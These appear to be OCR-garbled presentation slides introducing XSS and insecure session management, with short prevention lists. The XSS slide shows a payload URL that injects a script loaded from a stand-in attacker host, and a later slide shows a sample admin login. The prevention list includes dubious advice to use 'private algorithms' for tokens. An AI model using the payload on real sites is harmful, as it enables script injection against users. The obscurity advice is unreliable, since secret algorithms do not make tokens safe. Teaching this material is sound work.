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XSS Vulnerability

B4 https:/linsecure-website.com/comment?message=<script src=https:/fevil-user.net/badscript.js></script>
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XSS Types:

e XSS Reflected
e XSS Stored

How to prevent it?!

* Filter user inputs
 Use WAF
* Encode data on output
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Insecure Session Management Vulnerability

Login Credentials: admin,
p@sSword.!
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How to prevent it?!

* Use private algorithms for tokens
e Use JWT tokens
* Don’t use a guessable token for auth tokens
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